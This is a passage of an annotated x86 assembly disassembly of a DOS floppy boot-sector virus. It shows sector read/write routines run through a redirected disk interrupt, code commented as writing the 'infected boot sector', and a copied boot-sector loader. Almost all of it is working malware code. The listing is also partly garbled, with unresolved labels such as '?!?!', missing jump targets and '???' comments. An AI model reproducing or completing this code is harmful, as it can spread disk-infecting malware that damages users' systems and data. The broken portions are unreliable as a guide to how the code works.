MOV CX,0004 ;RETRY COUNT = 4
|
|
;
|
|
RDI_10: PUSH CX ;
|
|
MOV AH,00 ;REST DRIVE
|
|
INT 6D ;
|
|
JB RDI_80 ;IF ERROR...RETRY
|
|
MOV AX,[0493] ;RESTORE REGs
|
|
MOV BX,[0495] ;
|
|
MOV CX,[0497] ;
|
|
MOV DX,[0499] ;
|
|
INT 6D ;DO SPECIFIED FUNCTION
|
|
JNB RDI_90 ;IF NO ERROR...EXIT
|
|
RDI_80: POP CX ;
|
|
LOOP RDI_10 ;RETRY
|
|
STC ;RETURN ERROR
|
|
RET ;
|
|
;
|
|
RDI_90: POP CX ;RETURN NO ERROR
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
ADD [BX+SI],AL ;07FD 0000
|
|
ADD [BP+DI],AL ;07FF 0003
|
|
ADD [BX+DI],AL ;0801 0001
|
|
|
|
L0804: ?!?!
|
|
|
|
|
|
|
|
|
|
ADD BP,AX ;0803 03E8
|
|
DEC CX ;0805 49
|
|
STD ;0806 FD
|
|
JB ;085D ;0807 7254
|
|
;
|
|
MOV Word Ptr [000A],0001 ;
|
|
MOV Byte Ptr [0009],00 ;
|
|
MOV BX,06BE ;ES:BX = DTA ?
|
|
CALL READ_SECTORS ;
|
|
;
|
|
MOV BX,06BE ;BX = DTA
|
|
MOV AX,[0007] ;GET SECTOR TRACK
|
|
MOV [000A],AX ;SAVE SECTOR/TRACK
|
|
MOV AH,[0006] ;GET HEAD
|
|
MOV [0009],AH ;SAVE HEAD
|
|
CALL WRITE_SECTORS ;WRITE SECTOR(S)
|
|
CALL NEXT_SECTOR ;POINT TO NEXT
|
|
;
|
|
MOV CX,0005 ;CX = ???
|
|
MOV BX,0200 ;BX = DTA
|
|
L0837: MOV [0600],CX ;SAVE ???
|
|
CALL WRITE_SECTORS ;WRITE SECTOR(S)
|
|
CALL NEXT_SECTOR ;POINT TO NEXT
|
|
ADD BX,512 ;DTA += 512
|
|
MOV CX,[0600] ;???
|
|
LOOP L0837 ;LOOP 5 TIMES ???
|
|
;
|
|
MOV Byte Ptr [0009],00 ;HEAD = 0
|
|
MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1
|
|
MOV BX,0000 ;DTA = INFECTED BOOT SECTOR
|
|
CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR
|
|
CLC ;
|
|
RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
READ_SECTORS: ;085E
|
|
MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR
|
|
JMP DO_SECTORS ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
WRITE_SECTORS: ;0867
|
|
MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR
|
|
JMP DO_SECTORS ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ;
|
|
; ;
|
|
; ON ENTRY: DS:[601H] = COMMAND ;
|
|
; DS:[602H] = SECTOR COUNT ;
|
|
; DS:[226H] = DRIVE ;
|
|
; DS:[0009] = HEAD ;
|
|
; DS:[000A] = SECTOR ;
|
|
; DS:[000B] = TRACK ;
|
|
;-----------------------------------------------------------------------;
|
|
DO_SECTORS: ;0870
|
|
PUSH BX ;
|
|
MOV CX,4 ;RETRY COUNT = 4
|
|
;
|
|
D1S_10: PUSH CX ;
|
|
MOV DH,[9] ;HEAD = 9
|
|
MOV DL,[226H] ;DRIVE
|
|
MOV CX,[10] ;TRACK/SECT
|
|
MOV AX,[602H] ;COMMAND/COUNT
|
|
INT 6DH ;(SAME AS INT 13)
|
|
JNB D1S_80 ;
|
|
;
|
|
MOV AH,00 ;RESET
|
|
INT 6DH ;(SAME AS INT 13)
|
|
POP CX ;
|
|
LOOP D1S_10 ;TRY AGAIN
|
|
POP BX ;
|
|
POP BX ;
|
|
STC ;RETURN ERROR
|
|
RET ;
|
|
;
|
|
D1S_80: POP CX ;0893 59
|
|
POP BX ;0894 5B
|
|
RET ;0895 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; INC. NEXT SECTOR ;
|
|
; ON ENTRY: DS:[0009] = HEAD ;
|
|
; DS:[000A] = SECTOR ;
|
|
; DS:[000B] = TRACK ;
|
|
;-----------------------------------------------------------------------;
|
|
NEXT_SECTOR: ;0896
|
|
INC Byte Ptr [10] ;SECTOR
|
|
CMP Byte Ptr [10],10 ;
|
|
JNZ NS_90 ;
|
|
MOV Byte Ptr [10],1 ;
|
|
INC Byte Ptr [9] ;HEAD
|
|
CMP Byte Ptr [9],2 ;
|
|
JNZ NS_90 ;
|
|
MOV Byte Ptr [9],0 ;
|
|
INC Byte Ptr [11] ;TRACK
|
|
NS_90: RET ;
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
DB 64 ;08BB 'dtk'
|
|
JZ ;091F ;
|
|
;
|
|
;---------------------------------------;
|
|
JMP CONTINUE_4 ;08FA
|
|
;
|
|
DB 'IBM X3.2' ;OEM NAME AND VERSION
|
|
;
|
|
DW 512 ;BYTES PER SECTOR
|
|
DB 2 ;SECTORS PER ALLOCATION UNIT
|
|
DW 1 ;RESERVED SECTORS
|
|
DB 2 ;NUMBER OF FATS
|
|
DW 112 ;NUMBER OF ROOT DIR ENTRIES
|
|
DW 2D0H ;SECTORS PER DISK
|
|
DB 0FDH ;MEDIA ID
|
|
DW 2 ;SECTORS PER FAT
|
|
DW 9 ;SECTORS PER TRACK
|
|
DW 2 ;NUMBER OF HEADS
|
|
DW 0 ;HIDDEN SECTORS
|
|
;
|
|
;---------------------------------------;
|
|
DB 0,0
|
|
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0
|
|
|
|
DB 002H,0DFH
|
|
DB 002H,025H,002H,012H
|
|
DB 02AH,0FFH,050H,0F6H
|
|
DB 000H,002H,
|
|
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
INT 19H ;REBOOT
|
|
;
|
|
L08FA: CLI ;08FA FA
|
|
XOR AX,AX ;08FB 33C0
|
|
MOV ES,AX ;08FD 8EC0
|
|
MOV SS,AX ;08FF 8ED0
|
|
MOV SP,7C00 ;0901 BC007C
|
|
MOV DS,AX ;0904 8ED8
|
|
MOV BX,07C0 ;0906 BBC007
|
|
MOV Word Ptr [0078],002F ;0909 C70678002F00
|
|
MOV [007A],BX ;090F 891E7A00
|
|
MOV DS,BX ;0913 8EDB
|
|
MOV DX,[001E] ;0915 8B161E00
|
|
MOV [0020],DL ;0919 88162000
|
|
INT 13 ;GO TO DISK
|
|
JNB ;0924 ;091F 7303
|
|
JMP ;09FC ;0921 E9D800
|
|
MOV SI,000B ;0924 BE0B00
|
|
MOV CX,[SI] ;0927 8B0C
|
|
SHR CH,1 ;0929 D0ED
|
|
XCHG CH,CL ;092B 86E9
|
|
MOV [002B],CX ;092D 890E2B00
|
|
MOV AL,[SI+05] ;0931 8A4405
|
|
XOR AH,AH ;0934 32E4
|
|
MUL Word Ptr [SI+0B] ;0936 F7640B
|
|
ADD AX,[SI+03] ;0939 034403
|
|
ADD AX,[SI+11] ;093C 034411
|
|
MOV [0024],AX ;093F A32400
|
|
MOV BX,7E00 ;0942 BB007E
|
|
CALL 0A24 ;0945 E8DC00
|
|
MOV BX,ES ;0948 8CC3
|
|
MOV AX,0070 ;094A B87000
|
|
MOV ES,AX ;094D 8EC0
|
|
MOV AX,0020 ;094F B82000
|
|
MUL Word Ptr [SI+06] ;0952 F76406
|
|
MOV CX,[SI] ;0955 8B0C
|
|
ADD AX,CX ;0957 03C1
|
|
DEC AX ;0959 48
|
|
DIV CX ;095A F7F1
|
|
ADD [0024],AX ;095C 01062400
|
|
MOV CL,[002A] ;0960 8A0E2A00
|
|
MOV AX,[0024] ;0964 A12400
|
|
CALL ;0971 ;0967 E80700
|
|
PUSH ES ;096A 06
|
|
POP DS ;096B 1F
|
|
JMP 0070:0000 ;096C EA00007000
|
|
;
|
|
;HEAVY NUMBER CRUNCHING HERE ;
|
|
PUSH BX ;0971 53
|
|
PUSH AX ;0972 50
|
|
MOV AL,CL ;0973 8AC1
|
|
MUL Byte Ptr [002B] ;0975 F6262B00
|
|
MOV [0029],AL ;0979 A22900
|
|
POP AX ;097C 58
|
|
MUL Word Ptr [002B] ;097D F7262B00
|
|
DIV Word Ptr [SI+0D] ;0981 F7740D
|
|
INC DL ;0984 FEC2
|
|
MOV [0028],DL ;0986 88162800
|
|
PUSH DX ;098A 52
|
|
XOR DX,DX ;098B 33D2
|
|
DIV Word Ptr [SI+0F] ;098D F7740F
|
|
MOV [0021],DL ;0990 88162100
|
|
MOV [0026],AX ;0994 A32600
|
|
POP DX ;0997 5A
|
|
MOV CL,[0029] ;0998 8A0E2900
|
|
ADD DL,CL ;099C 02D1
|
|
MOV AX,[SI+0D] ;099E 8B440D
|
|
INC AX ;09A1 40
|
|
CMP DL,AL ;09A2 3AD0
|
|
JBE ;09AC ;09A4 7606
|
|
SUB AL,[0028] ;09A6 2A062800
|
|
MOV CL,AL ;09AA 8AC8
|
|
MOV AL,CL ;09AC 8AC1
|
|
MOV DX,[0026] ;09AE 8B162600
|
|
MOV CL,06 ;09B2 B106
|
|
SHL DH,CL ;09B4 D2E6
|
|
OR DH,[0028] ;09B6 0A362800
|
|
MOV CX,DX ;09BA 8BCA
|
|
XCHG CH,CL ;09BC 86E9
|
|
MOV DX,[0020] ;09BE 8B162000
|
|
MOV AH,02 ;READ SECTOR
|
|
PUSH AX ;
|
|
INT 13 ;
|
|
POP AX ;09C7 58
|
|
JB ;09FC ;09C8 7232
|
|
SUB [0029],AL ;09CA 28062900
|
|
JBE ;09F5 ;09CE 7625
|
|
CBW ;09D0 98
|
|
MUL Word Ptr [002D] ;09D1 F7262D00
|
|
ADD BX,AX ;09D5 03D8
|
|
INC Byte Ptr [0021] ;09D7 FE062100
|
|
MOV DL,[0021] ;09DB 8A162100
|
|
CMP DL,[SI+0F] ;09DF 3A540F
|
|
MOV DL,01 ;09E2 B201
|
|
MOV [0028],DL ;09E4 88162800
|
|
JB ;0998 ;09E8 72AE
|
|
MOV Byte Ptr [0021],00 ;09EA C606210000
|
|
INC Word Ptr [0026] ;09EF FF062600
|
|
JMP ;0998 ;09F3 EBA3
|
|
POP BX ;09F5 5B
|
|
RET ;09F6 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
MOV SI,01B3 ;09F7 BEB301
|
|
JMP ;09FF ;09FA EB03
|
|
MOV SI,01C5 ;09FC BEC501
|
|
CALL L0A15 ;09FF E81300
|
|
MOV SI,01D4 ;0A02 BED401
|
|
CALL L0A15 ;0A05 E80D00
|
|
MOV AH,00 ;0A08 B400
|
|
INT 16 ;0A0A CD16
|
|
MOV AH,01 ;0A0C B401
|
|
INT 16 ;0A0E CD16
|
|
JNZ 0A0C ;0A10 75FA
|
|
JMP ;08F8 ;0A12 E9E3FE
|
|
;
|
|
L0A15: LODSB ;L0A15
|
|
OR AL,AL ;0A16 0AC0
|
|
JZ 0A23 ;0A18 7409
|
|
MOV AH,0E ;0A1A B40E
|
|
MOV BX,0007 ;0A1C BB0700
|
|
INT 10 ;0A1F CD10
|
|
JMP L0A15 ;0A21 EBF2
|
|
RET ;0A23 C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
|
|
MOV CL,01 ;0A24 B101
|
|
CALL ;0971 ;0A26 E848FF
|
|
PUSH SI ;0A29 56
|
|
MOV DI,BX ;0A2A 8BFB
|
|
MOV AX,ES:[BX+1C] ;0A2C 268B471C
|
|
XOR DX,DX ;0A30 33D2
|
|
DIV Word Ptr [SI] ;0A32 F734
|
|
INC AL ;0A34 FEC0
|
|
MOV [002A],AL ;0A36 A22A00
|
|
MOV SI,019D ;0A39 BE9D01
|
|
MOV CX,000B ;0A3C B90B00
|
|
REPZ ;0A3F F3
|
|
CMPSB ;0A40 A6
|
|
JNZ ;09F7 ;0A41 75B4
|
|
MOV AX,ES:[BX+3A] ;0A43 268B473A
|
|
MOV [0022],AX ;0A47 A32200
|
|
MOV DI,BX ;0A4A 8BFB
|
|
ADD DI,+20 ;0A4C 83C720
|
|
MOV SI,01A8 ;0A4F BEA801
|
|
MOV CX,000B ;0A52 B90B00
|
|
REPZ ;0A55 F3
|
|
CMPSB ;0A56 A6
|
|
JNZ ;09F7 ;0A57 759E
|
|
POP SI ;0A59 5E
|
|
RET ;0A5A C3
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
CODE ENDS ;
|
|
END ;
|